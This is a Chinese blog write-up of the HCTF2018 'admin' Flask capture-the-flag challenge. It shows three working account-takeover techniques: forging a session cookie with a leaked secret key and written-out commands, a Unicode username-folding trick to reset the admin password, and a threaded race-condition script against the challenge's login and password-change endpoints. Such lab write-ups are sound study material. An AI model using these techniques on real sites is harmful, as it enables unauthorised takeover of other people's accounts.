趁着国庆假期想做做题,结果buuoj的web居然关了…
这题的docker
https://github.com/woadsl1234/HCTF2018_admin
如果出现登录和注册返回500,mysql的docker不断重启的情况,可以把docker-compose.yml中的

1
image: daocloud.io/library/mysql:5.7.4

改为

1
image: mysql:5.7

然后进入mysql的docker,执行

1
/bin/bash /usr/local/mysql/1.sh

吐槽下两个弟弟舍友,一个出去旅游,一个和女朋友出去住了(???),就留我一个人在宿舍,真是惨惨

发现源代码

首页html中有

1
<!-- you are not admin -->

应该是要登录admin账户

注册一个账户登录后可以在修改密码页面的源码中找到github的链接

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

从而得到源码,可以看到使用了flask框架

解法1.flask session 伪造

登陆后存在一个cookie

1
session=.eJxF0EFrwkAQBeC_UubsoW7NRfAQWRMUZoKyTdi5SDSx7m7WQqIYV_zvjRba63vwPWbusD20dXeE6bm91CPYmgqmd3jbwRSoWDWZjMfs2aDMDVo9IYE9ycphkTTaLq5k5w7FepIViwgDH1kmjvzKYGgM241hj7fsmYW5Zxn32i8jkpuGrQtoFxEFejqCC5yQSpy2bLXSIkvZZnL_wWpQi9xrVXmSLpD9vHGaH3GwULmgbdVkKp7BYwT7rj1sz9-uPv2fkG4cprkhse5pINnGASU7Umwx6CsW2A-p52FSi-UVfWIwnr0448uv-k9iH3X5-rc5lX4ooKy8OQkYwaWr29fjYPwOjx_OCm8N.XZQGLA.L8Mzu4W0sdrmDWiod1xuoVeKHHc

根据p神的文章 https://www.leavesongs.com/PENETRATION/client-session-security.html
可以知道,flask的session是存在客户端的,并且没有加密。为了保证session不被篡改,flask会在数据后面附上数据的签名,在不知道secret_key的情况下是无法伪造签名的

但在这题的源代码中已经泄露了secret_key
在config.py中

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

使用这个脚本 https://github.com/noraj/flask-session-cookie-manager 对session进行decode和encode

  • 对session进行decode
    1
    python3 flask_session_cookie_manager3.py decode -c "ckj123" -c ".eJxF0EFrwkAQBeC_UubsoW7NRfAQWRMUZoKyTdi5SDSx7m7WQqIYV_zvjRba63vwPWbusD20dXeE6bm91CPYmgqmd3jbwRSoWDWZjMfs2aDMDVo9IYE9ycphkTTaLq5k5w7FepIViwgDH1kmjvzKYGgM241hj7fsmYW5Zxn32i8jkpuGrQtoFxEFejqCC5yQSpy2bLXSIkvZZnL_wWpQi9xrVXmSLpD9vHGaH3GwULmgbdVkKp7BYwT7rj1sz9-uPv2fkG4cprkhse5pINnGASU7Umwx6CsW2A-p52FSi-UVfWIwnr0448uv-k9iH3X5-rc5lX4ooKy8OQkYwaWr29fjYPwOjx_OCm8N.XZQGLA.L8Mzu4W0sdrmDWiod1xuoVeKHHc"
    得到
    1
    b'{"_fresh":true,"_id":{" b":"NWJlODA1ZmZiMDViMjY4N2MxNDdkMWFlYjEwNjBkM2Q4OWE5MzZhZDFkNmJiMzliZjRiZmMyODFkNzBmZDAxYmI5NDRlZjkzMjE5NzNlYjE2ZWM4NTFkYjZjYTY2OGZjODc3ZTMzZWVmYTdmNDkzNjUyZGVhMDAxMTkzYjdlOTA="},"csrf_token":{" b":"NGRkMGViN2QxNGZjZjAzMDZkNTZjMzYwMWMxZjZmZTY2Y2IwMmFiMA=="},"image":{" b":"Zm5sVQ=="},"name":"admin2","user_id":"10"}'
  • 将name改为admin后encode
    1
    python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'5be805ffb05b2687c147d1aeb1060d3d89a936ad1d6bb39bf4bfc281d70fd01bb944ef9321973eb16ec851db6ca668fc877e33eefa7f493652dea001193b7e90', 'csrf_token': b'a7cb3920a7f0b7d08949f8a61f2078854dafef35', 'image': b'hmfP', 'name': 'admin', 'user_id': '10'}"
    然后将session改为得到的字符串就可以以admin登录拿到flag
    这里有个很坑的是这个脚本在linux下生成的session不能用。。但是windows下就可以。。

    解法2.unicode欺骗

    这个点才是这题想考的
    在注册登录和密码修改中都使用了一个自己定义的函数strlower,将用户名变为小写
    1
    2
    3
    def strlower(username):
    username = nodeprep.prepare(username)
    return username
    nodeprep是从twisted中导入的
    1
    from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
    去github中搜索一下可以发现Twisted已经更新到19.2.0了,而这题的requirements.txt中使用的Twisted还是10.2.0
    搜索一下发现nodeprep.prepare存在unicode的安全问题,这也是Spotify任意用户密码重置漏洞的成因
    http://webcache.googleusercontent.com/search?q=cache:1Jt1a9v583sJ:blog.lnyas.xyz/?p%3D1411&hl=zh-CN&gl=hk&strip=1&vwsrc=0 (原网页挂了,这是google的快照)

这个函数会把大写转换为小写,把类似的unicode字符做一个与chrome的地址栏里相似的转换,举个例子
BIG会被转换为big, ƁƗƓ会被转换为ɓɨɠ
他们对用户名是否重复的判断是执行一次这个函数然后进行比对 ,例如AAA会被变为aaa则和之前已经注册过的aaa重复 ,但是这里出现了一个错误,注册一个ᴬᴬᴬ,经过函数处理后变成了AAA,因为与aaa不同所以注册成功,而在用户点击重置密码的连接的时候,这个函数再次被执行了一次,AAA变成了aaa,导致用户aaa的密码被越权修改

  • 按照文中的思路,注册一个用户ᴬdmin,登录后会发现变成了Admin,修改密码时再次调用strlower,Admin变为admin,从而重置admin的密码

解法3.条件竞争

  • 在修改密码时用户名由session中获得
    1
    name = strlower(session['name'])
  • 而在登陆时会先设置一个session再验证用户名密码是否正确
    1
    2
    3
    4
    5
    6
    7
    8
    9
    if request.method == 'POST':
    name = strlower(form.username.data)
    session['name'] = name //就是这句
    user = User.query.filter_by(username=name).first()
    if user is None or not user.check_password(form.password.data):
    flash('Invalid username or password')
    return redirect(url_for('login'))
    login_user(user, remember=form.remember_me.data)
    return redirect(url_for('index'))
    因此可以进行条件竞争,进程1不断登录并修改密码,进程2不断以admin为用户名进行登录,使得修改密码的时候获得到admin的用户名,修改admin的密码
    附上网上大佬的脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    import requests import threading
    def login(s, username, password):
    data = {'username': username, 'password':password, 'submit': ''}
    return s.post("http://admin.2018.hctf.io/login", data=data)
    def logout(s):
    return s.get("http://admin.2018.hctf.io/logout")
    def change(s, newpassword):
    data = {'newpassword':newpassword }
    return s.post("http://admin.2018.hctf.io/change", data=data)
    def func1(s):
    login(s, 'ddd', 'ddd')
    change(s, 'qweqweabcabc')
    def func2(s):
    logout(s)
    res = login(s, 'admin', 'qweqweabcabc')
    if '<a href="/index">/index</a>' in res.text:
    print('finish')
    def main():
    for i in range(1000):
    print(i)
    s = requests.Session()
    t1 = threading.Thread(target=func1, args=(s,)) t2 = threading.Thread(target=func2, args=(s,)) t1.start()
    t2.start()
    if __name__ == "__main__":
    main()